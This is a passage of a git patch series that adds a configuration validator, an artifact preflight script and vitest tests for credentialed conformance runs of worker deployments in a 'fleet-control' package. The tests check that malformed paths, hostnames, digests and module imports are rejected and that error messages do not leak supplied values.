[...RUNTIME_KEYS, 'spec'], + 'deployment', + ); + const spec = object(deployment.spec, ['fixtureVersion'], 'deployment.spec'); + if (spec.fixtureVersion !== 1) + throw invalid('deployment.spec.fixtureVersion'); + const result = Object.freeze({ + contractVersion: DIRECT_CONFORMANCE_CONTRACT_VERSION, + disposableAccount: input.disposableAccount, + resourcePrefix: string(input.resourcePrefix, 'resourcePrefix'), + environment, + ownedHostname: hostname(input.ownedHostname, 'ownedHostname'), + referenceWorker: Object.freeze({ + ...referenceRuntime, + requestTimeoutMs: integer( + reference.requestTimeoutMs, + 2_147_483_647, + 'referenceWorker.requestTimeoutMs', + ), + invocationTimeoutMs: integer( + reference.invocationTimeoutMs, + 2_147_483_647, + 'referenceWorker.invocationTimeoutMs', + ), + maxProviderRequests, + maxInvocations: integer( + reference.maxInvocations, + Number.MAX_SAFE_INTEGER, + 'referenceWorker.maxInvocations', + ), + }), + deployment: Object.freeze({ + ...runtime(deployment, 'deployment', today), + spec: Object.freeze({ fixtureVersion: 1 }), + }), + interruption: input.interruption, + }); + deriveDirectConformanceNames(result); + return result; +} diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance.example.json b/packages/fleet-control/scripts/direct-credentialed-conformance.example.json new file mode 100644 index 00000000..35fcfa4c --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-conformance.example.json @@ -0,0 +1,35 @@ +{ + "contractVersion": 1, + "disposableAccount": true, + "resourcePrefix": "fc0123456789abcdef01234567", + "environment": "conformance", + "ownedHostname": "example.test", + "referenceWorker": { + "artifact": { + "bundle": "./artifacts/direct-reference-template.mjs", + "mainModule": "worker.js", + "sha256": "0000000000000000000000000000000000000000000000000000000000000000" + }, + "compatibilityDate": "2026-08-06", + "compatibilityFlags": [], + "cpuLimitMs": 30000, + "subrequestLimit": 10000, + "requestTimeoutMs": 30000, + "invocationTimeoutMs": 600000, + "maxProviderRequests": 100, + "maxInvocations": 1000 + }, + "deployment": { + "artifact": { + "bundle": "./artifacts/direct-tenant.mjs", + "mainModule": "worker.js", + "sha256": "0000000000000000000000000000000000000000000000000000000000000000" + }, + "compatibilityDate": "2026-08-06", + "compatibilityFlags": [], + "cpuLimitMs": 50, + "subrequestLimit": 50, + "spec": { "fixtureVersion": 1 } + }, + "interruption": "after-migration-admission" +} diff --git a/packages/fleet-control/test/direct-credentialed-conformance-config.test.ts b/packages/fleet-control/test/direct-credentialed-conformance-config.test.ts new file mode 100644 index 00000000..d5fc58bd --- /dev/null +++ b/packages/fleet-control/test/direct-credentialed-conformance-config.test.ts @@ -0,0 +1,267 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { execFileSync } from 'node:child_process'; +import { readFileSync } from 'node:fs'; +import { fileURLToPath } from 'node:url'; +import { describe, expect, it } from 'vitest'; +import { + deriveDirectConformanceNames, + validateDirectConformanceConfig, +} from '../scripts/direct-credentialed-conformance-config.mjs'; +import { isDeploymentScriptName } from '../src/deployment-context.js'; +import { validateDeploymentSpec } from '../src/validation.js'; +import { buildPlainWorkerSpec } from './fixtures/plain-worker-harnesses.js'; + +const EXAMPLE = new URL( + '../scripts/direct-credentialed-conformance.example.json', + import.meta.url, +); +const NOW = Date.parse('2026-09-09T12:00:00.000Z'); + +function input(): Record { + return JSON.parse(readFileSync(EXAMPLE, 'utf8')) as Record; +} + +function objectAt(value: Record, path: readonly string[]) { + let target = value; + for (const part of path) target = target[part] as Record; + return target; +} + +function changed(path: readonly string[], value: unknown) { + const result = input(); + const key = path.at(-1); + if (!key) throw new Error('test path needs a key'); + objectAt(result, path.slice(0, -1))[key] = value; + return result; +} + +function validate(value: unknown) { + return validateDirectConformanceConfig(value, { now: NOW }); +} + +describe('direct conformance configuration', () => { + it('validates the nonsecret example and keeps copied intent immutable', () => { + const raw = input(); + const result = validate(raw); + expect(result.referenceWorker.requestTimeoutMs).toBe(30_000); + expect(result.referenceWorker.invocationTimeoutMs).toBe(600_000); + expect(result.referenceWorker.subrequestLimit).toBe(10_000); + expect(result.deployment.subrequestLimit).toBe(50); + for (const value of [ + result, + result.referenceWorker, + result.referenceWorker.artifact, + result.referenceWorker.compatibilityFlags, + result.deployment, + result.deployment.spec, + result.deployment.artifact, + ]) + expect(Object.isFrozen(value)).toBe(true); + objectAt(raw, ['referenceWorker']).cpuLimitMs = 1; + expect(result.referenceWorker.cpuLimitMs).toBe(30_000); + }); + + it('derives separate fixed-role resources that pass production spec validation', () => { + const config = validate(input()); + const names = deriveDirectConformanceNames(config); + expect(names.referenceWorker).toBe(`${config.resourcePrefix}-reference`); + expect(names.exportBucket).toBe(`${config.resourcePrefix}-exports`); + expect(Object.keys(names.roles)).toEqual(['a', 'b', 'recovery']); + const scripts = new Set(); + for (const [role, values] of Object.entries(names.roles)) { + expect(Object.isFrozen(values)).toBe(true); + expect(isDeploymentScriptName(values.scriptName)).toBe(true); + expect(values.routeHostname).toBe( + `${config.resourcePrefix}-${role}.${config.ownedHostname}`, + ); + expect(() => + validateDeploymentSpec( + buildPlainWorkerSpec({ + ...values, + environment: config.environment, + }), + ), + ).not.toThrow(); + scripts.add(values.scriptName); + } + expect(scripts.size).toBe(3); + expect(Object.isFrozen(names.roles)).toBe(true); + }); + + it.each([ + [], + ['referenceWorker'], + ['referenceWorker', 'artifact'], + ['deployment'], + ['deployment', 'artifact'], + ['deployment', 'spec'], + ])('rejects unknown and missing keys at %j', (...path) => { + const extra = input(); + objectAt(extra, path).unexpected = 'secret-sentinel'; + expect(() => validate(extra)).toThrow(/direct conformance config/); + const missing = input(); + const target = objectAt(missing, path); + const key = Object.keys(target)[0]; + if (!key) throw new Error('test object needs a key'); + delete target[key]; + expect(() => validate(missing)).toThrow(/direct conformance config/); + }); + + it.each([ + 'dispatchNamespace', + 'hostRoutingKvId', + 'platformProfile', + 'sharedOutboundWorkerName', + 'maintenanceCapabilityPublicKey', + 'apiToken', + 'headers', + 'databaseId', + ])('rejects %s without echoing supplied secret data', (key) => { + const raw = input(); + raw[key] = 'secret-sentinel'; + let caught: unknown; + try { + validate(raw); + } catch (error) { + caught = error; + } + expect(caught).toBeInstanceOf(Error); + expect(String(caught)).not.toContain('secret-sentinel'); + }); + + it('rejects accessors before invoking them, symbols, classes and sparse arrays', () => { + let reads = 0; + const getter = input(); + Object.defineProperty(getter, 'environment', { + enumerable: true, + get() { + reads += 1; + return 'conformance'; + }, + }); + expect(() => validate(getter)).toThrow(); + expect(reads).toBe(0); + const symbol = input(); + Object.defineProperty(symbol, Symbol('hidden'), { value: 1 }); + expect(() => validate(symbol)).toThrow(); + class Config {} + expect(() => validate(Object.assign(new Config(), input()))).toThrow(); + expect(() => + validate(changed(['referenceWorker', 'compatibilityFlags'], Array(1))), + ).toThrow(); + }); + + it.each([ + [['contractVersion'], 2], + [['disposableAccount'], 'true'], + [['resourcePrefix'], 'fc-short'], + [['resourcePrefix'], 'fc0123456789ABCDEF01234567'], + [['environment'], '../production'], + [['interruption'], 'before-admission'], + [['deployment', 'spec', 'fixtureVersion'], 2], + [['referenceWorker', 'artifact', 'mainModule'], 'direct-run-manifest.js'], + [['deployment', 'artifact', 'mainModule'], '../worker.js'], + [['deployment', 'artifact', 'mainModule'], 'CON.js'], + [['deployment', 'artifact', 'sha256'], 'A'.repeat(64)], + [['deployment', 'artifact', 'bundle'], ''], + ] as const)('rejects invalid %j', (path, value) => { + expect(() => validate(changed(path, value))).toThrow(); + }); + + it.each([ + 'https://example.test', + 'EXAMPLE.test', + 'example.test.', + '*.example.test', + 'user@example.test', + 'example.test:443', + 'example.test/path', + 'example.test?query', + 'example.test#hash', + '127.0.0.1', + '[::1]', + 'bad..example', + `${'a'.repeat(64)}.test`, + `${'a'.repeat(63)}.${'b'.repeat(63)}.${'c'.repeat(63)}.${'d'.repeat(40)}`, + ])('rejects noncanonical or overlong derived hostname %s', (host) => { + expect(() => validate(changed(['ownedHostname'], host))).toThrow(); + }); + + it('accepts parsed native JSON semantics, null prototypes and local paths with spaces', () => { + const raw = Object.assign(Object.create(null), input()); + objectAt(raw, ['deployment', 'artifact']).bundle = + './my artifacts/worker.mjs'; + raw.disposableAccount = false; + const result = validate(raw); + expect(result.disposableAccount).toBe(false); + expect(result.deployment.artifact.bundle).toBe('./my artifacts/worker.mjs'); + }); + + it.each([ + 'referenceWorker', + 'deployment', + ])('checks %s dates and compatibility flags', (target) => { + for (const date of ['2026-08-03', '2026-09-31', '2026-09-10', '2026-8-06']) + expect(() => + validate(changed([target, 'compatibilityDate'], date)), + ).toThrow(); + for (const flags of [['unknown'], ['nodejs_compat', 'nodejs_compat'], null]) + expect(() => + validate(changed([target, 'compatibilityFlags'], flags)), + ).toThrow(); + expect( + validate(changed([target, 'compatibilityFlags'], ['nodejs_compat']))[ + target as 'referenceWorker' | 'deployment' + ].compatibilityFlags, + ).toEqual(['nodejs_compat']); + const leap = changed([target, 'compatibilityDate'], '2028-02-29'); + expect(() => + validateDirectConformanceConfig(leap, { + now: Date.parse('2028-03-01T00:00:00.000Z'), + }), + ).not.toThrow(); + }); + + it.each([ + ['referenceWorker', 'cpuLimitMs', 300_000], + ['deployment', 'cpuLimitMs', 300_000], + ['referenceWorker', 'subrequestLimit', 10_000_000], + ['deployment', 'subrequestLimit', 10_000_000], + ['referenceWorker', 'requestTimeoutMs', 2_147_483_647], + ['referenceWorker', 'invocationTimeoutMs', 2_147_483_647], + ['referenceWorker', 'maxInvocations', Number.MAX_SAFE_INTEGER], + ] as const)('checks %s.%s integer bounds', (target, key, maximum) => { + for (const value of [0, -1, 1.5, NaN, Infinity, null, '50', maximum + 1]) + expect(() => validate(changed([target, key], value))).toThrow(); + expect(() => validate(changed([target, key], 1))).not.toThrow(); + expect(() => validate(changed([target, key], maximum))).not.toThrow(); + }); + + it('uses the production inventory request-budget domain and a finite clock', () => { + for (const value of [0, 8, 1001, 9.5]) + expect(() => + validate(changed(['referenceWorker', 'maxProviderRequests'], value)), + ).toThrow(); + for (const value of [9, 1000]) + expect(() => + validate(changed(['referenceWorker', 'maxProviderRequests'], value)), + ).not.toThrow(); + expect(() => + validateDirectConformanceConfig(input(), { now: NaN }), + ).toThrow(/clock/); + }); + + it('runs as a native Node configuration module without constructing a provider', () => { + const module = new URL( + '../scripts/direct-credentialed-conformance-config.mjs', + import.meta.url, + ); + const code = `import {readFileSync} from 'node:fs'; import {validateDirectConformanceConfig} from ${JSON.stringify(module.href)}; const value=validateDirectConformanceConfig(JSON.parse(readFileSync(${JSON.stringify(fileURLToPath(EXAMPLE))},'utf8')),{now:${NOW}}); process.stdout.write(String(value.contractVersion));`; + expect( + execFileSync(process.execPath, ['--input-type=module', '-e', code], { + encoding: 'utf8', + }), + ).toBe('1'); + }); +}); From 89c52777e60b4074e2444a2948f576f85e3140ae Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 9 Sep 2026 17:49:36 +0400 Subject: [PATCH 107/169] test(fleet-control): prepare direct conformance artifacts --- ...t-credentialed-conformance-preflight.d.mts | 53 +++ ...ect-credentialed-conformance-preflight.mjs | 271 +++++++++++++++ ...credentialed-conformance-preflight.test.ts | 327 ++++++++++++++++++ 3 files changed, 651 insertions(+) create mode 100644 packages/fleet-control/scripts/direct-credentialed-conformance-preflight.d.mts create mode 100644 packages/fleet-control/scripts/direct-credentialed-conformance-preflight.mjs create mode 100644 packages/fleet-control/test/direct-credentialed-conformance-preflight.test.ts diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.d.mts b/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.d.mts new file mode 100644 index 00000000..f69f815c --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.d.mts @@ -0,0 +1,53 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { + DirectConformanceConfig, + DirectConformanceNames, + DirectRuntimeIntent, +} from './direct-credentialed-conformance-config.mjs'; + +export const DIRECT_MANIFEST_MODULE: 'direct-run-manifest.js'; +export const DIRECT_MAX_UPLOAD_BYTES: number; + +export interface DirectModuleSnapshot { + readonly name: string; + readonly source: string; + readonly byteLength: number; + readonly sha256: string; +} + +export interface DirectRunManifest { + readonly contractVersion: 1; + readonly configSha256: string; + readonly resourcePrefix: string; + readonly environment: string; + readonly names: DirectConformanceNames; + readonly referenceRuntime: Omit< + DirectConformanceConfig['referenceWorker'], + 'artifact' + >; + readonly deploymentRuntime: Omit; + readonly tenantModule: DirectModuleSnapshot; + readonly fixtureVersion: 1; + readonly interruption: 'after-migration-admission'; +} + +export interface PreparedDirectConformance { + readonly config: DirectConformanceConfig; + readonly names: DirectConformanceNames; + readonly configSha256: string; + readonly manifest: DirectRunManifest; + readonly referenceModules: readonly [ + DirectModuleSnapshot, + DirectModuleSnapshot, + ]; + readonly referenceUploadBytes: number; + readonly referenceModuleSetSha256: string; +} + +export function preflightDirectConformance( + input: Readonly<{ + configPath: string; + now?: number; + }>, +): Promise; diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.mjs b/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.mjs new file mode 100644 index 00000000..06304c7b --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.mjs @@ -0,0 +1,271 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { spawnSync } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { constants } from 'node:fs'; +import { open } from 'node:fs/promises'; +import { dirname, resolve } from 'node:path'; +import ts from 'typescript'; +import { + deriveDirectConformanceNames, + validateDirectConformanceConfig, +} from './direct-credentialed-conformance-config.mjs'; + +export const DIRECT_MANIFEST_MODULE = 'direct-run-manifest.js'; +export const DIRECT_MAX_UPLOAD_BYTES = 64 * 1024 * 1024; + +const EXTERNAL_MODULES = new Set([ + 'node:crypto', + 'node:async_hooks', + 'cloudflare:workers', +]); + +function invalid(field) { + return new Error(`direct conformance preflight has invalid ${field}`); +} + +function sha256(bytes) { + return createHash('sha256').update(bytes).digest('hex'); +} + +async function readBoundedFile(path, maximum, field) { + try { + const handle = await open(path, constants.O_RDONLY | constants.O_NONBLOCK); + try { + const stat = await handle.stat(); + if (!stat.isFile() || stat.size < 1 || stat.size > maximum) + throw invalid(field); + const bytes = Buffer.alloc(stat.size); + let offset = 0; + while (offset < bytes.length) { + const { bytesRead } = await handle.read( + bytes, + offset, + bytes.length - offset, + offset, + ); + if (bytesRead === 0) throw invalid(field); + offset += bytesRead; + } + const extra = await handle.read(Buffer.alloc(1), 0, 1, offset); + if (extra.bytesRead !== 0) throw invalid(field); + return bytes; + } finally { + await handle.close(); + } + } catch { + throw invalid(`${field} file`); + } +} + +function utf8(bytes, field) { + try { + return new TextDecoder('utf-8', { fatal: true, ignoreBOM: true }).decode( + bytes, + ); + } catch { + throw invalid(`${field} UTF-8`); + } +} + +function inspectModule(text, reference, field) { + const syntax = spawnSync( + process.execPath, + ['--input-type=module', '--check'], + { + input: text, + env: {}, + stdio: ['pipe', 'ignore', 'ignore'], + timeout: 30_000, + }, + ); + if (syntax.status !== 0) throw invalid(`${field} JavaScript`); + try { + inspectModuleStructure(text, reference, field); + } catch { + throw invalid(`${field} module inspection`); + } +} + +function inspectModuleStructure(text, reference, field) { + const fileName = '/direct-artifact.js'; + const source = ts.createSourceFile( + fileName, + text, + ts.ScriptTarget.ESNext, + true, + ts.ScriptKind.JS, + ); + const host = { + getSourceFile: (name) => (name === fileName ? source : undefined), + getDefaultLibFileName: () => '/lib.d.ts', + writeFile: () => {}, + getCurrentDirectory: () => '/', + getDirectories: () => [], + fileExists: (name) => name === fileName, + readFile: (name) => (name === fileName ? text : undefined), + getCanonicalFileName: (name) => name, + useCaseSensitiveFileNames: () => true, + getNewLine: () => '\n', + }; + const program = ts.createProgram( + [fileName], + { allowJs: true, noResolve: true, noLib: true }, + host, + ); + if (program.getSyntacticDiagnostics(source).length !== 0) + throw invalid(`${field} syntax`); + const checker = program.getTypeChecker(); + const symbol = checker.getSymbolAtLocation(source); + const exports = symbol + ? checker + .getExportsOfModule(symbol) + .map((entry) => entry.name) + .sort() + : []; + const expected = reference + ? ['default'] + : ['Maintenance', 'Runner', 'default']; + if (JSON.stringify(exports) !== JSON.stringify(expected)) + throw invalid(`${field} exports`); + + let manifests = 0; + const inspectImport = (specifier, declaration) => { + if (!specifier || !ts.isStringLiteral(specifier)) + throw invalid(`${field} module dependency`); + if (reference && specifier.text === `./${DIRECT_MANIFEST_MODULE}`) { + if ( + !declaration || + !ts.isImportDeclaration(declaration) || + !declaration.importClause?.name || + declaration.importClause.namedBindings || + declaration.attributes + ) + throw invalid(`${field} manifest import`); + manifests += 1; + } else if (!EXTERNAL_MODULES.has(specifier.text)) { + throw invalid(`${field} module dependency`); + } + }; + const pending = [source]; + for (let node = pending.pop(); node; node = pending.pop()) { + if (ts.isExportDeclaration(node) && !node.exportClause) + throw invalid(`${field} star export`); + if (ts.isImportDeclaration(node) || ts.isExportDeclaration(node)) { + if (node.moduleSpecifier) inspectImport(node.moduleSpecifier, node); + } else if ( + ts.isCallExpression(node) && + node.expression.kind === ts.SyntaxKind.ImportKeyword + ) { + if (node.arguments.length !== 1) + throw invalid(`${field} module dependency`); + inspectImport(node.arguments[0]); + } + ts.forEachChild(node, (child) => { + pending.push(child); + }); + } + if (reference && manifests !== 1) throw invalid(`${field} manifest import`); +} + +function moduleSnapshot(name, source) { + return Object.freeze({ + name, + source, + byteLength: Buffer.byteLength(source), + sha256: sha256(source), + }); +} + +async function readArtifact(configDirectory, intent, reference, field) { + const bytes = await readBoundedFile( + resolve(configDirectory, intent.bundle), + DIRECT_MAX_UPLOAD_BYTES, + field, + ); + if (sha256(bytes) !== intent.sha256) throw invalid(`${field} digest`); + const source = utf8(bytes, field); + inspectModule(source, reference, field); + return moduleSnapshot(intent.mainModule, source); +} + +function runtimeFields(runtime) { + return { + compatibilityDate: runtime.compatibilityDate, + compatibilityFlags: runtime.compatibilityFlags, + cpuLimitMs: runtime.cpuLimitMs, + subrequestLimit: runtime.subrequestLimit, + }; +} + +export async function preflightDirectConformance(input) { + let configPath; + try { + configPath = resolve(input.configPath); + } catch { + throw invalid('config path'); + } + const configBytes = await readBoundedFile(configPath, 256 * 1024, 'config'); + let parsed; + try { + parsed = JSON.parse(utf8(configBytes, 'config')); + } catch { + throw invalid('config JSON'); + } + const config = validateDirectConformanceConfig(parsed, { now: input.now }); + const names = deriveDirectConformanceNames(config); + const configDirectory = dirname(configPath); + const reference = await readArtifact( + configDirectory, + config.referenceWorker.artifact, + true, + 'reference artifact', + ); + const tenantModule = await readArtifact( + configDirectory, + config.deployment.artifact, + false, + 'tenant artifact', + ); + const configSha256 = sha256(configBytes); + const manifest = Object.freeze({ + contractVersion: config.contractVersion, + configSha256, + resourcePrefix: config.resourcePrefix, + environment: config.environment, + names, + referenceRuntime: Object.freeze({ + ...runtimeFields(config.referenceWorker), + requestTimeoutMs: config.referenceWorker.requestTimeoutMs, + invocationTimeoutMs: config.referenceWorker.invocationTimeoutMs, + maxProviderRequests: config.referenceWorker.maxProviderRequests, + maxInvocations: config.referenceWorker.maxInvocations, + }), + deploymentRuntime: Object.freeze(runtimeFields(config.deployment)), + tenantModule, + fixtureVersion: config.deployment.spec.fixtureVersion, + interruption: config.interruption, + }); + const manifestModule = moduleSnapshot( + DIRECT_MANIFEST_MODULE, + `export default ${JSON.stringify(manifest)};\n`, + ); + const referenceModules = Object.freeze([reference, manifestModule]); + const referenceUploadBytes = reference.byteLength + manifestModule.byteLength; + if (referenceUploadBytes > DIRECT_MAX_UPLOAD_BYTES) + throw invalid('reference upload size'); + const moduleTable = referenceModules.map(({ name, byteLength, sha256 }) => ({ + name, + byteLength, + sha256, + })); + return Object.freeze({ + config, + names, + configSha256, + manifest, + referenceModules, + referenceUploadBytes, + referenceModuleSetSha256: sha256(JSON.stringify(moduleTable)), + }); +} diff --git a/packages/fleet-control/test/direct-credentialed-conformance-preflight.test.ts b/packages/fleet-control/test/direct-credentialed-conformance-preflight.test.ts new file mode 100644 index 00000000..c9a91be7 --- /dev/null +++ b/packages/fleet-control/test/direct-credentialed-conformance-preflight.test.ts @@ -0,0 +1,327 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { execFileSync } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { + mkdir, + mkdtemp, + open, + readFile, + rm, + symlink, + writeFile, +} from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { afterEach, describe, expect, it, vi } from 'vitest'; +import { + DIRECT_MANIFEST_MODULE, + DIRECT_MAX_UPLOAD_BYTES, + preflightDirectConformance, +} from '../scripts/direct-credentialed-conformance-preflight.mjs'; + +const NOW = Date.parse('2026-09-09T12:00:00.000Z'); +const REFERENCE = `import manifest from './direct-run-manifest.js'; +export default {fetch() {return Response.json(manifest.contractVersion)}};`; +const TENANT = `export class Maintenance {} +export class Runner {} +export default {fetch() {return new Response('fixture')}};`; +const directories: string[] = []; + +function digest(value: string | Uint8Array) { + return createHash('sha256').update(value).digest('hex'); +} + +async function fixture(reference = REFERENCE, tenant = TENANT) { + const directory = await mkdtemp(join(tmpdir(), 'fleet-direct-preflight-')); + directories.push(directory); + const config = JSON.parse( + await readFile( + new URL( + '../scripts/direct-credentialed-conformance.example.json', + import.meta.url, + ), + 'utf8', + ), + ); + const configPath = join(directory, 'config.json'); + const referencePath = join(directory, 'reference artifact.mjs'); + const tenantPath = join(directory, 'tenant artifact.mjs'); + config.referenceWorker.artifact.bundle = './reference artifact.mjs'; + config.referenceWorker.artifact.sha256 = digest(reference); + config.deployment.artifact.bundle = './tenant artifact.mjs'; + config.deployment.artifact.sha256 = digest(tenant); + await writeFile(referencePath, reference); + await writeFile(tenantPath, tenant); + const save = () => writeFile(configPath, JSON.stringify(config)); + await save(); + return { directory, configPath, referencePath, tenantPath, config, save }; +} + +function prepare(configPath: string) { + return preflightDirectConformance({ configPath, now: NOW }); +} + +afterEach(async () => { + vi.restoreAllMocks(); + vi.unstubAllEnvs(); + await Promise.all( + directories + .splice(0) + .map((path) => rm(path, { recursive: true, force: true })), + ); +}); + +describe('direct artifact preflight', () => { + it.each([ + 'reference', + 'tenant', + ] as const)('rejects unresolved star exports for the %s role', async (role) => { + for (const external of [ + 'node:crypto', + 'node:async_hooks', + 'cloudflare:workers', + ]) { + const suffix = `\nexport * from '${external}';`; + const f = await fixture( + REFERENCE + (role === 'reference' ? suffix : ''), + TENANT + (role === 'tenant' ? suffix : ''), + ); + await expect(prepare(f.configPath)).rejects.toThrow(/artifact/); + } + }); + + it.each([ + 'reference', + 'tenant', + ] as const)('inspects a valid deep addition expression for the %s role', async (role) => { + const suffix = `\nconst sum=${'1+'.repeat(12_000)}1;`; + const f = await fixture( + REFERENCE + (role === 'reference' ? suffix : ''), + TENANT + (role === 'tenant' ? suffix : ''), + ); + await expect(prepare(f.configPath)).resolves.toMatchObject({ + manifest: { fixtureVersion: 1 }, + }); + }); + + it.each([ + 'reference', + 'tenant', + ] as const)('contains compiler failures for the %s role', async (role) => { + const suffix = `\nconst nested=${'('.repeat(1_000)}0${')'.repeat(1_000)};`; + const f = await fixture( + REFERENCE + (role === 'reference' ? suffix : ''), + TENANT + (role === 'tenant' ? suffix : ''), + ); + await expect(prepare(f.configPath)).rejects.toThrow( + `direct conformance preflight has invalid ${role} artifact module inspection`, + ); + }); + + it('rejects a JSON import attribute for the generated JavaScript manifest', async () => { + const f = await fixture( + "import manifest from './direct-run-manifest.js' with {type:'json'}; export default {};", + ); + await expect(prepare(f.configPath)).rejects.toThrow(/reference artifact/); + }); + + it('retains immutable exact UTF-8 snapshots and binds the generated upload module table', async () => { + const tenant = `\uFEFF${TENANT}\n// café 🦀`; + const f = await fixture(REFERENCE, tenant); + const result = await prepare(f.configPath); + expect(result.configSha256).toBe(digest(await readFile(f.configPath))); + expect(result.manifest.tenantModule.source).toBe(tenant); + expect(result.manifest.tenantModule.sha256).toBe(digest(tenant)); + expect(result.referenceModules.map((module) => module.name)).toEqual([ + 'worker.js', + DIRECT_MANIFEST_MODULE, + ]); + const moduleTable = result.referenceModules.map( + ({ name, source, byteLength, sha256 }) => { + expect(byteLength).toBe(Buffer.byteLength(source)); + expect(sha256).toBe(digest(source)); + expect(Object.isFrozen(result.referenceModules)).toBe(true); + return { name, byteLength, sha256 }; + }, + ); + expect(result.referenceModuleSetSha256).toBe( + digest(JSON.stringify(moduleTable)), + ); + expect(result.referenceUploadBytes).toBe( + moduleTable.reduce((sum, module) => sum + module.byteLength, 0), + ); + const generated = result.referenceModules[1].source; + const manifest = JSON.parse(generated.slice('export default '.length, -2)); + expect(manifest).toEqual(result.manifest); + expect(generated).not.toContain(f.directory); + expect(generated).not.toContain('artifact.mjs'); + expect(generated).not.toContain(result.referenceModuleSetSha256); + const assertFrozen = (value: unknown): void => { + if (!value || typeof value !== 'object') return; + expect(Object.isFrozen(value)).toBe(true); + for (const child of Object.values(value)) assertFrozen(child); + }; + assertFrozen(result); + await writeFile(f.referencePath, 'changed'); + await writeFile(f.tenantPath, 'changed'); + expect(result.referenceModules[0].source).toBe(REFERENCE); + expect(result.manifest.tenantModule.source).toBe(tenant); + }); + + it('accepts symlinked regular input files and config-relative paths with spaces', async () => { + const f = await fixture(); + const link = join(f.directory, 'config link.json'); + await symlink(f.configPath, link); + await symlink(f.tenantPath, join(f.directory, 'tenant link.mjs')); + f.config.deployment.artifact.bundle = './tenant link.mjs'; + await f.save(); + expect((await prepare(link)).manifest.tenantModule.source).toBe(TENANT); + }); + + it('never evaluates artifact code or inherits Node preload options for its syntax check', async () => { + const network = vi + .spyOn(globalThis, 'fetch') + .mockRejectedValue(new Error('unexpected network')); + const f = await fixture( + `${REFERENCE}\nthrow new Error('artifact evaluated');`, + `${TENANT}\nthrow new Error('artifact evaluated');`, + ); + vi.stubEnv( + 'NODE_OPTIONS', + '--require /nonexistent-direct-preflight-preload.cjs', + ); + await expect(prepare(f.configPath)).resolves.toMatchObject({ + manifest: { fixtureVersion: 1 }, + }); + expect(network).not.toHaveBeenCalled(); + }); + + it.each([ + 'referenceWorker', + 'deployment', + ])('rejects a mismatched %s digest', async (role) => { + const f = await fixture(); + f.config[role].artifact.sha256 = 'f'.repeat(64); + await f.save(); + await expect(prepare(f.configPath)).rejects.toThrow(/artifact digest/); + }); + + it.each([ + 'missing', + 'directory', + 'empty', + 'oversized', + 'invalid-utf8', + ])('rejects %s artifact input', async (kind) => { + const f = await fixture(); + if (kind === 'missing') await rm(f.tenantPath); + if (kind === 'directory') { + await rm(f.tenantPath); + await mkdir(f.tenantPath); + } + if (kind === 'empty') await writeFile(f.tenantPath, ''); + if (kind === 'oversized') { + const handle = await open(f.tenantPath, 'w'); + try { + await handle.truncate(DIRECT_MAX_UPLOAD_BYTES + 1); + } finally { + await handle.close(); + } + } + if (kind === 'invalid-utf8') { + const bytes = Buffer.from([0xc3, 0x28]); + await writeFile(f.tenantPath, bytes); + f.config.deployment.artifact.sha256 = digest(bytes); + await f.save(); + } + await expect(prepare(f.configPath)).rejects.toThrow(/tenant artifact/); + }); + + it('rejects a FIFO without waiting for a writer', async () => { + const f = await fixture(); + await rm(f.tenantPath); + execFileSync('mkfifo', [f.tenantPath]); + await expect(prepare(f.configPath)).rejects.toThrow(/tenant artifact file/); + }); + + it.each([ + 'oversized', + 'invalid-utf8', + 'invalid-json', + 'invalid-schema', + ])('rejects %s config before reading artifacts', async (kind) => { + const f = await fixture(); + await rm(f.referencePath); + if (kind === 'oversized') + await writeFile(f.configPath, ' '.repeat(256 * 1024 + 1)); + if (kind === 'invalid-utf8') + await writeFile(f.configPath, Buffer.from([0xc3, 0x28])); + if (kind === 'invalid-json') + await writeFile(f.configPath, '{"secret-sentinel"'); + if (kind === 'invalid-schema') + await writeFile(f.configPath, '{"secret-sentinel":true}'); + await expect(prepare(f.configPath)).rejects.toThrow(/config/); + await expect(prepare(f.configPath)).rejects.not.toThrow( + /secret-sentinel|reference artifact/, + ); + }); + + it.each([ + 'export default {', + 'const value: number = 1; export default value;', + 'export default {}; export default {};', + ])('rejects invalid JavaScript without leaking diagnostics', async (source) => { + const f = await fixture(`${source}\n// secret-sentinel`); + await expect(prepare(f.configPath)).rejects.toThrow( + /reference artifact JavaScript/, + ); + await expect(prepare(f.configPath)).rejects.not.toThrow(/secret-sentinel/); + }); + + it.each([ + 'export default {};', + `${REFERENCE}\nexport const extra = 1;`, + `import './direct-run-manifest.js'; export default {};`, + `import * as manifest from './direct-run-manifest.js'; export default {};`, + `${REFERENCE}\nimport second from './direct-run-manifest.js';`, + `${REFERENCE}\nimport './missing.js';`, + `${REFERENCE}\nexport {value} from './missing.js';`, + `${REFERENCE}\nimport 'node:fs';`, + `${REFERENCE}\nconst path='./missing.js'; import(path);`, + `${REFERENCE}\nimport('./direct-run-manifest.js');`, + ])('rejects an incompatible reference module contract', async (source) => { + const f = await fixture(source); + await expect(prepare(f.configPath)).rejects.toThrow(/reference artifact/); + }); + + it.each([ + 'export default {};', + TENANT.replace('export class Runner', 'class Runner'), + `${TENANT}\nimport './direct-run-manifest.js';`, + `${TENANT}\nimport 'undeclared-package';`, + ])('rejects an incompatible tenant module contract', async (source) => { + const f = await fixture(REFERENCE, source); + await expect(prepare(f.configPath)).rejects.toThrow(/tenant artifact/); + }); + + it('accepts named export aliases and the fixed emitted external modules', async () => { + const f = await fixture( + `import manifest from './direct-run-manifest.js'; import 'node:crypto'; const entry={fetch(){}}; export {entry as default};`, + `import 'cloudflare:workers'; import 'node:async_hooks'; class A {} class B {} const entry={}; export {A as Maintenance, B as Runner, entry as default};`, + ); + await expect(prepare(f.configPath)).resolves.toMatchObject({ + manifest: { fixtureVersion: 1 }, + }); + }); + + it('checks generated manifest 